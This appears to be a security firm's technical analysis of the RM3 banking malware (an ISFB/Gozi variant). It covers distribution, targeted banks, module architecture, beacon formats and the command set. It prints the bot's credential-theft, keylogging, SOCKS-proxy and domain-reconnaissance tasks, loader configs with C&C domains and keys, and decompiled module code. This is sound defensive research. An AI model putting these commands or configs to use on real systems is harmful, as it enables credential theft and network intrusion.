Many channels have been used to spread this malware, with distribution by spam (malspam) the most popular – and also the most effective. Multiple distribution teams are behind these campaigns and it is difficult to identify all of them; particularly so now, given the increased professionalisation of these operations (which now can involve shorter term, contractor like relationships). As a result, while malware campaign infrastructures are separate, there is now more overlap between the various infrastructures. It is certain however that one actor known as Sagrid was definitely the most prolific distributor. Around 2018/2019, Sagrid actively spread malware in Australia and New Zealand, using advanced techniques to deliver it to their victims.

RM3 distribution over the past 4 years

The graphic below shows the distribution method of an individual piece of RM3 malware in more detail.

A simplified path of a payload from its compilation to its delivery

Interestingly, the only exploit kit seen to be involved in the distribution of RM3 has been  Spelevo – at least in our experience. These days, Exploit Kits (EK) are not as active as in their golden era in the 2010s (when Angler EK dominated the market along with Rig and Magnitude). But they are still an interesting and effective technique for gathering bots from corporate networks, where updates are complicated and so can be delayed or just not performed. In other words, if a new bot is deployed using an EK, there is a higher chance that it is part of big network than one distributed by a more ‘classic’ malspam campaign.

Strangely, to this date, RM3 has never been observed targeting financial institutions in North America. Perhaps there are just no malicious actors who want to be part of this particular mule ecosystem in that zone. Or perhaps all the malicious actors in this region are still making enough money from older strains or another banking malware.

Nowadays, there is a steady decline in banking malware in general, with most TAs joining the rising and explosive ransomware trend. It is more lucrative for bank malware gangs to stop their usual business and try to get some exclusive contracts with the ransom teams. The return on investment (ROI) of a ransom paid by a victim is significantly higher than for the whole classic money mule infrastructure. The cost and time required in money mule and inject operations are much more complex than just giving access to an affiliate and awaiting royalties.

Large number of financial institutions targeted

Fox-IT/NCC Group has identified more than 130 financial institution targeted by threat actor groups using this banking malware. As the table below shows, the scope and impact of these attacks is particularly concentrated on Oceania. This is also the only zone where loan and job websites are targeted. Of course, targeting job websites provides them with further opportunities to hire money mules more easily within their existing systems.

CountryBanksWeb ShopsJob OffersLoansCrypto Services
UK281000
IT170000
AU/NZ80~0226

A short timeline of post-pandemic changes

As we’ve already said, the pandemic has had an impact across the entire fraud landscape and forced many TAs (not just those using RM3) to drastically change their working methods. In some cases, they have shut down completely in one field and started doing something else. For RM3 TAs, as for all of us, these are indeed interesting times.

Q3 2019 – Q2 2020, Classic fraud era

Before the pandemic, the tasks pushed by RM3 were pretty standard when a bot was part of the infrastructure. The example below is a basic check for a legitimate corporate bot with an open access point for a threat actor to connect to and start to use for fraud.

GET_CREDS
GET_SYSINFO
LOAD_MODULE=mail.dll,UXA
LOAD_KEYLOG=*
LOAD_SOCKS=XXX.XXX.XXX.XXX:XXXX

Otherwise, the banking malware was configured as an advanced infostealer, designed to steal data and intercept all keyboard interactions.

GET_CREDS
LOAD_MODULE=mail.dll,UXA
LOAD_KEYLOG=*

Q4 2020 – Now, Bot Harvesting Era

Nowadays, bots are basically  removed if they are coming from old infrastructures, if they are not part of an active campaign. It’s an easy way for them for removing researcher bots

DEL_CONFIG

Otherwise, this is a classic information gathering system operation on the host and network. Which indicates TAs are following the ransomware path and declining their fraud legacy step by step.

GET_SYSINFO
RUN_CMD=net group "domain computers" /domain
RUN_CMD=net session

RM3 Configs – Invaluable threat intelligence data

RM3.AT

Around the summer of 2019, when this banking malware was at its height, an infrastructure which was very different from the standard ones first emerged. It mostly used infostealers for distribution and pushed an interesting variant of the RM3 loader.

Based on configs, similarities with the GoziAT TAs were seen. The crossovers were:

  • both infrastructure are using the .at TLD
  • subdomains and domains are using the same naming convention
  • Server ID is also different from the default one (12)
  • Default nameservers config
  • First seen when GoziAT was curiously quiet

An example loader.ini file for RM3.at is shown below:

LOADER.INI - RM3 .AT example
{
    "HOSTS": [
        "api.fiho.at",
        "t2.fiho.at"
    ],
    "NAMESERVERS": [
        "172.104.136.243",
        "8.8.4.4",
        "192.71.245.208",
        "51.15.98.97",
        "193.183.98.66",
        "8.8.8.8"
    ],
    "URI": "index.htm",
    "GROUP": "3000",
    "SERVER": "350",
    "SERVERKEY": "s2olwVg5cU7fWsec",
    "IDLEPERIOD": "10",
    "LOADPERIOD": "10",
    "HOSTKEEPTIMEOUT": "60",
    "DGATEMPLATE": "constitution.org/usdeclar.txt",
    "DGAZONES": [
        "com",
        "ru",
        "org"
    ],
    "DGATEMPHASH": "0x4eb7d2ca",
    "DGAPERIOD": "10"
}

As a reminder, the ISFB v2 variant called GoziAT (which technically uses the RM2 loader) uses the format shown below:

LOADER.INI - GoziAT/ISFB (RM2 Loader) 
{
    "HOSTS": [
        "api10.laptok.at/api1",
        "golang.feel500.at/api1",
        "go.in100k.at/api1"
    ],
    "GROUP": "1100",
    "SERVER": "730",
    "SERVERKEY": "F2oareSbPhCq2ch0",
    "IDLEPERIOD": "10",
    "LOADPERIOD": "20",
    "HOSTSHIFTTIMEOUT": "1"
}

But this RM3 infrastructure disappeared just a few weeks later and has never been seen again. It is not known if the TAs were satisfied with the product and its results and it remains one of the unexplained curiosities of this banking malware

But, we can say this marked the return of GoziAT, which was back on track with intense campaigns.

Other domains related to this short lived RM3 infrastructure were.

  • api.fiho.at
  • y1.rexa.at
  • cde.frame303.at
  • api.frame303.at
  • u2.inmax.at
  • cdn5.inmax.at
  • go.maso.at
  • f1.maso.at

Standard routine for other infrastructures

Meanwhile, a classic loader config will mostly need standard data like any other malware:

  • C&C domains (called hosts on the loader side)
  • Timeout values
  • Keys

The example below shows a typical loader.ini file from a more ‘classic’ infrastructure. This one is from Germany, but similar configurations were seen in the UK1, Australia/New Zealand1 and Italian infrastructures:

LOADER.INI – DE 
{
    "HOSTS": "https://daycareforyou.xyz",
    "ADNSONLY": "0",
    "URI": "index.htm",
    "GROUP": "40000",
    "SERVER": "12",
    "SERVERKEY": "z2Ptfc0edLyV4Qxo",
    "IDLEPERIOD": "10",
    "LOADPERIOD": "10",
    "HOSTKEEPTIMEOUT": "60",
    "DGATEMPLATE": "constitution.org/usdeclar.txt",
    "DGAZONES": [
        "com",
        "ru",
        "org"
    ],
    "DGATEMPHASH": "0x4eb7d2ca",
    "DGAPERIOD": "10"
}

Updates to RM3 were observed to be ongoing, and more fields have appeared since the 3009XX builds (e.g: 300912, 900932):

  • Configuring the self-removing process
  • Setup the loader module as the persistent one
  • The Anti-CIS (langid field) is also making a comeback

The example below shows a typical client.ini file as seen in build 3009xx from the UK2 and Australia/New Zealand 2 infrastructures:

CLIENT.INI 
{
    "HOSTS": "https://vilecorbeanca.xyz",
    "ADNSONLY": "0",
    "URI": "index.htm",
    "GROUP": "92020291",
    "SERVER": "12",
    "SERVERKEY": "kD9eVTdi6lgpH0Ml",
    "IDLEPERIOD": "10",
    "LOADPERIOD": "10",
    "HOSTKEEPTIMEOUT": "60",
    "NOSCRIPT": "0",
    "NODELETE": "0",
    "NOPERSISTLOADER": "0",
    "LANGID": "RU",
    "DGATEMPLATE": "constitution.org/usdeclar.txt",
    "DGATEMPHASH": "0x4eb7d2ca",
    "DGAZONES": [
        "com",
        "ru",
        "org"
    ],
    "DGAPERIOD": "10"
}

The client.ini file mainly stores elements that will be required for the explorer.dll module:

  • Timeouts values
  • Maximum size allowed for RM3 requests to the controllers
  • Video config
  • HTTP proxy activation
CLIENT.INI - Default Format
{
    "CONTROLLER": [
        "",
    ],
    "ADNSONLY": "0",
    "IPRESOLVERS": "curlmyip.net",
    "SERVER": "12",
    "SERVERKEY": "",
    "IDLEPERIOD": "300",
    "TASKTIMEOUT": "300",
    "CONFIGTIMEOUT": "300",
    "INITIMEOUT": "300",
    "SENDTIMEOUT": "300",
    "GROUP": "",
    "HOSTKEEPTIMEOUT": "60",
    "HOSTSHIFTTIMEOUT": "60",
    "RUNCHECKTIMEOUT": "10",
    "REMOVECSP": "0",
    "LOGHTTP": "0",
    "CLEARCACHE": "1",
    "CACHECONTROL": [
        "no-cache,",
        "no-store,",
        "must-revalidate"
    ],
    "MAXPOSTLENGTH": "300000",
    "SETVIDEO": [
        "30,",
        "8,",
        "notipda"
    ],
    "HTTPCONNECTTIME": "480",
    "HTTPSENDTIME": "240",
    "HTTPRECEIVETIME": "240"
}

What next?

Active monitoring of current in-the-wild instances suggests that the RM3 TAs are progressively switching to the ransomware path. That is, they have not pushed any updates on the fraud side of their operations for a number of months (by not pushing any injects), but they are still maintaining their C&C infrastructure. All infrastructure has a cost and the fact they are maintaining their C&C infrastructure without executing traditional fraud is a strong indication they are changing their strategy to another source of income.

The tasks which are being pushed (and old ones since May 2020) are triage steps for selecting bots which could be used for internal lateral movement. This pattern of behaviour is becoming more evident everyday in the latest ongoing campaigns, where everyone seems to be targeted and the inject configurations have been totally removed.

As a reminder, over the past two years banking malware gangs in general have been seen to follow this trend. This is due to the declining fraud ecosystem in general, but also due to the increased difficulty in finding inject developers with the skills to develop effective fakes which this decline has also prompted.

How banking TAs can migrate from fraud to ransom (or any other businesses)

We consider RM3 to be the most advanced ISFB strain to date, and fraud tools can easily be switched into a malicious red team like strategy.

RM3 evolving to support two different use cases at the same time

Why is RM3 the most advanced ISFB strain?

As we said, we consider RM3 to be the most advanced ISFB variant we have seen. When we analyse the RM3 payload, there is a huge gap between it and its predecessors. There are multiple differences:

  • A new PE format called PX has been developed
  • The .bss section is slightly updated for storing RM3 static variables
  • A new structure called WD based on the J1/J2/J3/JJ ISFB File Join system for storing files
Architecture differences between ISFB v2 and RM3 payload
(main sections discussed below)

PX Format

As mentioned, RM3 is designed to work with PX payloads (Portable eXecutable). This is an exotic file format created for, and only used with, this banking malware. The structure is not very different from the original PE format, with almost all sections, data directories and section tables remaining intact. Essentially, use of the new file format just requires malware to be re-crafted correctly in a new payload at the correct offset.

PX Header

BSS section

The bss section (Block Starting Symbol) is a critical data segment used by all strains of ISFB for storing uninitiated static local variables. These variables are encrypted and used for different interactions depending on the module in use.

In a compiled payload, this section is usually named “.bss0”. But evidence from a source code leak shows that this is originally named “.bss” in the source code. These comments also make it clear that this module is encrypted.

The encrypted .bss section

This is illustrated by the source code comments shown below:

// Original section name that will be created within a file
#define CS_SECTION_NAME ".bss0"
// The section will be renamed after the encryption completes.
// This is because we cannot use reserved section names aka ".rdata" or ".bss" during compile time.
#define CS_NEW_SECTION_NAME ".bss"

When working with ISFB, it is common to see the same mechanism or routine across multiple compiled builds or variants. However, it is still necessary to analyse them all in detail because slight adjustments are frequently introduced. Understanding these minor changes can help with troubleshooting and explain why scripts don’t work. The decryption routine in the bss section is a perfect example of this; it is almost identical to ISFB v2 variants, but the RM3 developers decided to tweak it just slightly by creating an XOR key in a different way – adding a FILE_HEADER.TimeDateStamp with the gs_Cookie (this information based on the ISFB leak).

Decrypted strings from the .bss section being parsed by IDA

Occasionally, it is possible to see a debugged and compiled version of RM3 in the wild. It is unknown if this behaviour is intended for some reason or simply a mistake by TA teams, but it is a gold mine for understanding more about the underlying code.

WD Struct

ISFB has its own way of storing and using embedded files. It uses a homemade structure that seems to change its name whenever there is a new strain or a major ISFB update:

  • FJ or J1 – Old ISFB era
  • J2 – Dreambot
  • J3 – ISFB v3 (Only seen in Japan)
  • JJ – ISFB v2 (v2.14+ – now)
  • WD – RM3 / Saigon

To get a better understanding of the latest structure in use, it is worth taking a quick look back at the active strains of ISFB v2 still known to use the JJ system.

The structure is pretty rudimentary and can be summarised like this:

struct JJ_Struct {
 DWORD xor_cookie;
 DWORD crc32;
 DWORD size;
 DWORD addr;
} JJ;

With RM3, they decided to slightly rework the join file philosophy by creating a new structure called WD. This is basically just a rebranded concept; it just adds the JJ structure (seen above) and stores it as a pointer array.

The structure itself is really simple:

struct WD_Struct {
  DWORD size;
  WORD magic;
  WORD flag;
  JJ_Struct *jj;
} WD;

In allRM3 builds, these structures simply direct the malware to grab an average of at least 4 files†:

  • A PX loader
  • An RSA pubkey
  • An RM3 config
  • A wordlist that will be mainly used for create subkeys in the registry

† The amount of files is dependent on the loader stage or RM3 modules used. It is also based on the ISFB variant, as another file could be present which stores the langid value (which is basically the anti-cis feature for this banking malware).

Architecture

Every major ISFB variant has something that makes it unique in some way. For example, the notorious Dreambot was designed to work as a standalone payload; the whole loader stage walk-through was removed and bots were directly pointed at the correct controllers. This choice was mainly explained by the fact that this strain was designed to work as malware as a service. It is fairly standard right now to see malware developers developing specific features for TAs – if they are prepared to pay for them. In these agreements, TAs can be guaranteed some kind of exclusivity with a variant or feature. However, this business model does also increase the risk of misunderstanding and overlap in term of assigning ownership and responsibility. This is one of the reasons it is harder to get a clear picture of the activities happening between malware developers & TAs nowadays.

But to get back to the variant we are discussing here; RM3 pushed the ISFB modular plugin system to its maximum potential by introducing a range of elements into new modules that had never been seen before. These new modules included:

  • bl.dll
  • explorer.dll
  • rt.dll
  • netwrk.dll

These modules are linked together to recreate a modded client32.bin/client64.bin (modded from the client.bin seen in ISFB v2). This new architecture is much more complicated to debug or disassemble. In the end, however, we can split this malware into 4 main branches:

  • A modded client32.bin/client64.bin
  • A browser module designed to setup hooks and an SSL proxy (used for POST HTTP/HTTPS interception)
  • A remote shell (probably designed for initial assessments before starting lateral attacks)
  • A fraud arsenal toolkit (hidden VNC, SOCKs proxy, etc…)
RM3 Architecture

RM3 Loader –
Major ISFB update? Or just a refactored code?

The loader is a minimalist plugin that contains only the required functions for doing three main tasks:

  • Contacting a loader C&C (which is called host), downloading critical RM3 modules and storing them into the registry (bl.dll, explorer.dll, rt.dll, netwrk.dll)
  • Setting up persistence†
  • Rebooting everything and making sure it has removed itself†.
An overview of the second stage loader

These functions are summarised in the following schematic.‡

† In the 3009XX build above, a TA can decide to setup the loader as persistent itself, or remove the payload.

‡ Of course, the loader has more details than could be mentioned here, but the schematic shows the main concepts for a basic understanding.

RM3 Network beacons – Hiding the beast behind simple URIs

C&C beacon requests have been adjusted from the standard ISFB v2 ones, by simplifying the process with just two default URI. These URIs are dynamic fields that can be configured from the loader and client config. This is something that older strains are starting to follow since build 250172.

When it switches to the controller side, RM3 saves HTTPS POST requests performed by the users. These are then used to create fake but legitimate looking paths.

Changing RM3 URI path dynamically

This ingenious trick makes RM3 really hard to catch behind the telemetry generated by the bot. To make short, whenever the user is browsing websites performing those specific requests, the malware is mimicking them by replacing the domain with the controller one.

https://<controler_domain>.tld/index.html                <- default
https://<controler_domain>.tld/search/wp-content/app     <- timer cycle #1
https://<controler_domain>.tld/search/wp-content/app
https://<controler_domain>.tld/search/wp-content/app
https://<controler_domain>.tld/search/wp-content/app
https://<controler_domain>.tld/admin/credentials/home    <- timer cycle #2
https://<controler_domain>.tld/admin/credentials/home
https://<controler_domain>.tld/admin/credentials/home
https://<controler_domain>.tld/admin/credentials/home
https://<controler_domain>.tld/operating/static/template/index.php  <- timer cycle #3
https://<controler_domain>.tld/operating/static/template/index.php
https://<controler_domain>.tld/operating/static/template/index.php
https://<controler_domain>.tld/operating/static/template/index.php

If that wasn’t enough, the usual base64 beacons are now hidden as a data form and send by means of POST requests. When decrypted, these requests reveal this typical network communication.

random=rdm&type=1&soft=3&version=300960&user=17fe7d78280730e52b545792f07d61cb&group=21031&id=00000024&arc=0&crc=44c9058a&size=2&uptime=219&sysid=15ddce20c9691c1ff5103a921e59d7a1&os=10.0_0_0_x64 

The fields can be explained in as follows:

Field Meaning
randomA mandatory randomised value
typeData format
softNetwork communication method
versionBuild of the RM3 banking malware
userUser seed
groupCampaign ID
idRM3 Data type
arcModule with specific architecture (0 =  i386 – 1= 86_x64)
sizeStolen data size
uptimeBot uptime
sysidMachine seed
osWindows version

Soft – A curious ISFB Field

Value Stage C&C Network Communication Response Format
(< Build 300960)
Response Format
(Build 300960)
3Host (Loader)WinAPIBase64(RSA + Serpent)Base64(RSA + AES)
2Host (Loader)COMBase64(RSA + Serpent)Base64(RSA + AES)
1ControllerWinAPI/COMRSA + SerpentRSA + AES

ID – A field being updated RM3

Thanks to the source code leak, identifying the data type is not that complicated and can be determined from the field “id”

Бот отправляет на сервер файлы следующего типа и формата (тип данных задаётся параметром type в POST-запросе):
SEND_ID_UNKNOWN	0	- неизвестно, используется только для тестирования	
SEND_ID_FORM	1	- данные HTML-форм. ASCII-заголовок + форма бинарном виде, как есть
SEND_ID_FILE	2	- любой файл, так шлются найденные по маске файлы
SEND_ID_AUTH	3	- данные IE Basic Authentication, ASCII-заголовок + бинарные данные
SEND_ID_CERTS	4	- сертификаты. Файлы PFX упакованые в CAB или ZIP.
SEND_ID_COOKIES	5	- куки и SOL-файлы. Шлются со структурой каталогов. Упакованы в CAB или ZIP
SEND_ID_SYSINFO	6	- информация о системе. UTF8(16)-файл, упакованый в CAB или ZIP
SEND_ID_SCRSHOT	7	- скриншот. GIF-файл.
SEND_ID_LOG	8	- внутренний лог бота. TXT-файл.
SEND_ID_FTP	9	- инфа с грабера FTP. TXT-файл.
SEND_ID_IM	10	- инфа с грабера IM. TXT-файл.
SEND_ID_KEYLOG	11	- лог клавиатуры. TXT-файл.
SEND_ID_PAGE_REP 12	- нотификация о полной подмене страницы TXT-файл.
SEND_ID_GRAB	13	- сграбленый фрагмент контента. ASCII заголовок + контент, как он есть

Over time, they have created more fields:

New CommandIDDescription
SEND_ID_CMD19Results from the CMD_RUN command
SEND_ID_???20
SEND_ID_CRASH21Crash dump
SEND_ID_HTTP22Send HTTP Logs
SEND_ID_ACC23Send credentials
SEND_ID_ANTIVIRUS24Send Antivirus info

Module list

Analysis indicates that any RM3 instance would have to include at least the following modules:

CRCModule NamePE FormatStageDescription
MZ1st stage RM3 loader
0xc535d8bfloader.dllPX2nd stage RM3 loader
MZRM3 Startup module hidden in the shellcode
0x8576b0d0bl.dllPXHostRM3 Background Loader
0x224c6c42explorer.dllPXHostRM3 Mastermind
0xd6306e08rt.dllPXHostRM3 Runtime DLL – RM3 WinAPI/COM Module
0x45a0fcd0netwrk.dllPXHostRM3 Network API
0xe6954637browser.dllPXControllerBrowser Grabber/HTTPS Interception
0x5f92dac2iexplore.dllPXControllerInternet explorer Hooking module
0x309d98fffirefox.dllPXControllerFirefox Hooking module
0x309d98ffmicrosoftedgecp.dllPXControllerMicrosoft Edge Hooking module (old one)
0x9eff4536chrome.dllPXControllerGoogle chrome Hooking module
0x7b41e687msedge.dllPXControllerMicrosoft Edge Hooking module (Chromium one)
0x27ed1635keylog.dllPXControllerKeylogging module
0x6bb59728mail.dllPXControllerMail Grabber module
0x1c4f452avnc.dllPXControllerVNC module
0x970a7584sqlite.dllPXControllerSQLITE Library required for some module
0xfe9c154bftp.dllPXControllerFTP module
0xd9839650socks.dllPXControllerSocks module
0x1f8fde6bcmdshell.dllPXControllerPersistent remote shell module

Additionally, more configuration files ( .ini ) are used to store all the critical information implemented in RM3. Four different files are currently known:

CRC Name
0x8fb1dde1loader.ini
0x68c8691cexplorer.ini
0xd722afcbclient.ini†
0x68c8691cvnc.ini

† CLIENT.INI is never intended to be seen in an RM3 binary, as it is intended to be received by the loader C&C (aka “the host”, based on its field name on configs). This is completely different from older ISFB strains, where the client.ini is stored in the client32.bin/client64.bin. So it means, if the loader c&c is offline, there is no option to get this crucial file

Moving this file is a clever move by the RM3 malware developers and the TAs using it as they have reduced the risk of having researcher bots in their ecosystem.

RM3 dependency madness

With client32.bin (from the more standard ISFB v2 form) technically not present itself but instead implemented as an accumulation of modules injected into a process, RM3 is drastically different from its predecessors. It has totally changed its micro-ecosystem by forcing all of its modules to interact with each other (except bl.dll) and as shown below.

All interactions between RM3 modules

These changes also slow down any in-depth analysis, as they make it way harder to analyse as a standalone module.

External calls from other RM3 modules (8576b0d0 and e695437)

RM3 Module 101

Thanks to the startup module launched by start.ps1 in the registry, a hidden shell worker is plugged into explorer.exe (not the explorer.dll module) that initialises a hooking instance for specific WinAPI/COM calls. This allows the banking malware to inject all its components into every child process coming from that Windows process. This strategy permits RM3 to have total control of all user interactions.

(*) PoV = Point of View

Looking at DllMain, the code hasn’t changed that much in the years since the ISFB leak.

BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
  BOOL Ret = TRUE;
  WINERROR Status = NO_ERROR;

  Ret = 1;
  if ( ul_reason_for_call ) {
    if ( ul_reason_for_call == 1 && _InterlockedIncrement(&g_AttachCount) == 1 ) {
      Status = ModuleStartup(hModule, lpReserved); // <- Main call 
      if ( Status ) {
        SetLastError(Status);
        Ret = 0;
      }
    }
  }
  else if ( !_InterlockedExchangeAdd(&g_AttachCount, 0xFFFFFFFF) ) {
    ModuleCleanup();
  }
  return Ret;
}

It is only when we get to the ModuleStartup call that things start to become interesting. This code has been refactored and adjusted to the RM3 philosophy:

static WINERROR ModuleStartup(HMODULE hModule) {
    WINERROR Status; 
    RM3_Struct RM3;

    // Need mandatory RM3 Struct Variable, that contains everything
    // By calling an export function from BL.DLL
	RM3 = bl!GetRM3Struct();  

    // Decrypting the .bss section
    // CsDecryptSection is the supposed name based on ISFB leak
	Status = bl!CsDecryptSection(hModule, 0);
  
    if ( (gs_Cookie ^ RM3->dCrc32ExeName) == PROCESSNAMEHASH )
    	Status = Startup() 
	
    return(Status);
}

This adjustment is pretty similar in all modules and can be summarised as three main steps:

  • Requesting from bl.dll a critical global structure (called RM3_struct for the purpose of this article) which has the minimal requirements for running the injected code smoothly. The structure itself changes based on which module it is. For example, bl.dll mostly uses it for recreating values that seem to be part of the PEB (hypothesis); explorer.dll uses this structure for storing timeout values and browsers.dll uses it for RM3 injects configurations.
  • Decrypting the .bss section.
  • Entering into the checking routine by using an ingenious mechanism:
    • The filename of the child process is converted into a JamCRC32 hash and compared with the one stored in the startup function. If it matches, the module starts its worker routine, otherwise it quits.

These are a just a few particular cases, but the philosophy of the RM3 Module startup is well represented here. It is a simple and clever move for monitoring user interactions, because it has control over everything coming from explorer.exe.

bl.dll – The backbone of RM3

The background loader is almost nothing and everything at the same time. It’s the root of the whole RM3 infrastructure when it’s fully installed and configured by the initial loader. Its focus is mainly to initialise RM3_Struct and permits and provides a fundamental RM3 API to all other modules:

Ordinal    | Goal 
==========================================
856b0d0_1  | bl!GetBuild
856b0d0_2  | bl!GetRM3Struct
856b0d0_3  | bl!WaitForSingleObject
856b0d0_4  | bl!GenerateRNG
856b0d0_5  | bl!GenerateGUIDName
856b0d0_6  | bl!XorshiftStar
856b0d0_7  | bl!GenerateFieldName
856b0d0_8  | bl!GenerateCRC32Checksum
856b0d0_9  | bl!WaitForMultipleObjects
856b0d0_10 | bl!HeapAlloc
856b0d0_11 | bl!HeapFree
856b0d0_12 | bl!HeapReAlloc
856b0d0_13 | bl!???
856b0d0_14 | bl!Aplib
856b0d0_15 | bl!ReadSubKey 
856b0d0_16 | bl!WriteSubKey 
856b0d0_17 | bl!CreateProcessA
856b0d0_18 | bl!CreateProcessW
856b0d0_19 | bl!GetRM3MainSubkey
856b0d0_20 | bl!LoadModule
856b0d0_21 | bl!???
856b0d0_22 | bl!OpenProcess 
856b0d0_23 | bl!InjectDLL
856b0d0_24 | bl!ReturnInstructionPointer
856b0d0_25 | bl!GetPRNGValue
856b0d0_26 | bl!CheckRSA
856b0d0_27 | bl!Serpent
856b0d0_28 | bl!SearchConfigFile
856b0d0_29 | bl!???
856b0d0_30 | bl!ResolveFunction01
856b0d0_31 | bl!GetFunctionByIndex
856b0d0_32 | bl!HookFunction
856b0d0_33 | bl!???
856b0d0_34 | bl!ResolveFunction02
856b0d0_35 | bl!???
856b0d0_36 | bl!GetExplorerPID
856b0d0_37 | bl!PsSupSetWow64Redirection
856b0d0_40 | bl!MainRWFile
856b0d0_42 | bl!PipeSendCommand
856b0d0_43 | bl!PipeMainRWFile
856b0d0_44 | bl!WriteFile 
856b0d0_45 | bl!ReadFile
856b0d0_50 | bl!RebootBlModule
856b0d0_51 | bl!LdrFindEntryForAddress
856b0d0_52 | bl!???
856b0d0_55 | bl!SetEAXToZero
856b0d0_56 | bl!LdrRegisterDllNotification
856b0d0_57 | bl!LdrUnegisterDllNotification
856b0d0_59 | bl!FillGuidName
856b0d0_60 | bl!GenerateRandomSubkeyName
856b0d0_61 | bl!InjectDLLToSpecificPID
856b0d0_62 | bl!???
856b0d0_63 | bl!???
856b0d0_65 | bl!???
856b0d0_70 | bl!ReturnOne             
856b0d0_71 | bl!AppAlloc
856b0d0_72 | bl!AppFree
856b0d0_73 | bl!MemAlloc
856b0d0_74 | bl!MemFree
856b0d0_75 | bl!CsDecryptSection  (Decrypt bss, real name from isfb leak source code)
856b0d0_76 | bl!CreateThread
856b0d0_78 | bl!GrabDataFromRegistry
856b0d0_79 | bl!Purge
856b0d0_80 | bl!RSA

explorer.dll – the RM3 mastermind

Explorer.dll could be regarded as the opposite of the background loader. It is designed to manage all interactions of this banking malware, at any level:

  • Checking timeout timers that could lead to drastic changes in RM3 operations
  • Allowing and executing all tasks that RM3 is able to perform
  • Starting fundamental grabbing features
  • Download and update modules and configs
  • Launch modules
  • Modifying RM3 URIs dynamically
An overview of the RM3 explorer.dll module

In the task manager worker, the workaround looks like the following:

RM3 task manager implemented in explorer.dll

Interestingly, the RM3 developers abuse their own hash system (JAMCRC32) by shuffling hashes into very large amounts of conditions. By doing this, they create an ecosystem that is seemingly unique to each build. Because of this, it feels a major update has been performed on an RM3 module although technically it is just another anti-disassembly trick for greatly slowing down any in-depth analysis. On the other hand, this task manager is a gold mine for understanding how all the interactions between bots and the C&C are performed and how to filter them into multiple categories.

General command

General commands

CRC Command Description
0xdf43cd90CRASHGenerate and send a crash report
0x274323e2RESTARTRestart RM3
0xce54bcf5REBOOTReboot system

Recording

CRC Command Description
0x746ce763VIDEOStart desktop recording of the victim machine
0x8de92b0dSETVIDEOVIDEO pivot condition
0x54a7c26cSET_VIDEOPreparing desktop recording

Updates

CRC Command Description
0xb82d4140UPDATE_ALLForcing update for all module
0x4f278846LOAD_UPDATELoad & Execute and updated PX module

Tasks

CRC Command Description
0xaaa425c4USETASKKEYUse task.bin pubkey for decrypting upcoming tasks

Timeout settings

CRC Command Description
0x955879a6SENDTIMEOUTTimeout timer for receiving commands
0xd7a003c9CONFIGTIMEOUTTimeout timer for receiving inject config updates
0x7d30ee46INITIMEOUTTimeout timer for receiving INI config update
0x11271c7fIDLEPERIODTimeout timer for bot inactivity
0x584e5925HOSTSHIFTTIMEOUTTimeout timer for switching C&C domain list
0x9dd1ccafSTANDBYTIMEOUTTimeout timer for switching primary C&C’s to Stand by ones
0x9957591RUNCHECKTIMEOUTTimeout timer for checking & run RM3 autorun
0x31277bd5TASKTIMEOUTTimeout timer for receiving a task request

Clearing

CRC Command Description
0xe3289ecbCLEARCACHECLR_CACHE pivot condition
0xb9781fc7CLR_CACHEClear all browser cache
0xa23fff87CLR_LOGSClear all RM3 logs currently stored
0x213e71beDEL_CONFIGRemove requested RM3 inject config

HTTP

CRC Command Description
0x754c3c76LOGHTTPIntercept & log POST HTTP communication
0x6c451cb6REMOVECSPRemove CSP headers from HTTP
0x97da04deMAXPOSTLENGTHClear all RM3 logs currently stored

Process execution

CRC Command Description
0x73d425ffNEWPROCESSInitialising RM3 routine

Backup

CRC Command Description
0x5e822676STANDBYCase condition if primary servers are not responding for X minutes

Data gathering

CRC Command Description
0x864b1e44GET_CREDSCollect credentials
0xdf794b64GET_FILESCollect files (grabber module)
0x2a77637aGET_SYSINFOCollect system information data

Main tasks

CRC Command Description
0x3889242LOAD_CONFIGDownload and Load a requested config with specific arguments
0xdf794b64GET_FILESDownload a DLL from a specific URL and load it into explorer.exe
0xae30e778LOAD_EXEDownload an executable from a specific URL and load it
0xb204e7e0LOAD_INIDownload and load an INI file from a specific URL
0xea0f4d48LOAD_CMDLoad and Execute Shell module
0x6d1ef2c6LOAD_FTPLoad and Execute FTP module with specific arguments
0x336845f8LOAD_KEYLOGLoad and Execute keylog module with specific arguments
0xdb269b16LOAD_MODULELoad and Execute RM3 PX Module with specific arguments
0x1e84cd23LOAD_SOCKSLoad and Execute socks module with specific arguments
0x45abeab3LOAD_VNCLoad and Execute VNC module with specific arguments

Shell command

CRC Command Description
0xb88d3fdfRUN_CMDExecute specific command and send the output to the C&C

URI setup

CRC Command Description
0x9c3c1432SET_URIChange the URI path of the request

File storage

CRC Command Description
0xd8829500STORE_GRABSave grabber content into temporary file
0x250de123STORE_KEYLOGSave keylog content into temporary file
0x863ecf42STORE_MAILSave stolen mail credentials into temporary file
0x9b587bc4STORE_HTTPLOGSave stolen http interceptions into temporary file
0x36e4e464STORE_ACCSave stolen credentials into temporary file

Timeout system

With its timeout values stored into its rm3_struct, explorer.dll is able to manage every possible worker task launched and monitor them. Then, whenever one of the timers reaches the specified value, it can modify the behaviour of the malware (in most cases, avoiding unnecessary requests that could create noise and so increase the chances of detection).

COM Objects being inspected for possible timeout

Backup controllers

In the same way, explorer.dll also provides additional controllers which are called ‘stand by’ domains. The idea behind this is that, when principal controller C&Cs don’t respond, a module can automatically switch to this preset list. Those new domains are stored in explorer.ini.

{
    "STANDBY": "standbydns1.tld","standbydns2.tld"  
    "STANDBYTIMEOUT": "60"                   // Timeout in minutes
}

In the example above, if the primary domain C&Cs did not respond after one hour, the request would automatically switch to the standby C&Cs.

Desktop recording and RM3 – An ingenious way to check bots

Rarely mentioned in the wild but actively used by TAs, RM3 is also able to record bot interactions. The video setup is stored in the client.ini file, which the bot receives from the controller domain.

"SETVIDEO": [
        "30,",     // 30 seconds
        "8,",      // 8 Level quality (min:1 - max:10)
        "notipda"  // Process name list    
],

Behind “SETVIDEO”, only 3 values are required to setup video recording:

RM3 AVI recording setup

After being initialised, the task waits its turn to be launched. It can be triggered to work in multiple ways:

  • Detecting the use of specific keywords in a Windows process
  • Using RM3’s increased debugging telemetry to detect if something is crashing, either in the banking malware itself or in a deployed injects (although the ability to detect crashes in an inject is only hypothetical and has not been observed)
  • Recording user interactions with a bank account; the ability to record video is a relatively new but killer move on the part of the malware developers allowing them to check legitimate bots and get injects

The ability to record video depends only on “@VIDEO=” being cached by the browser module. It is not primarily seen at first glance when examining the config, but likely inside external injects parts.

@ ISFB Code leak
Вкладка Video - запись видео с экрана

Opcode = "VIDEO"
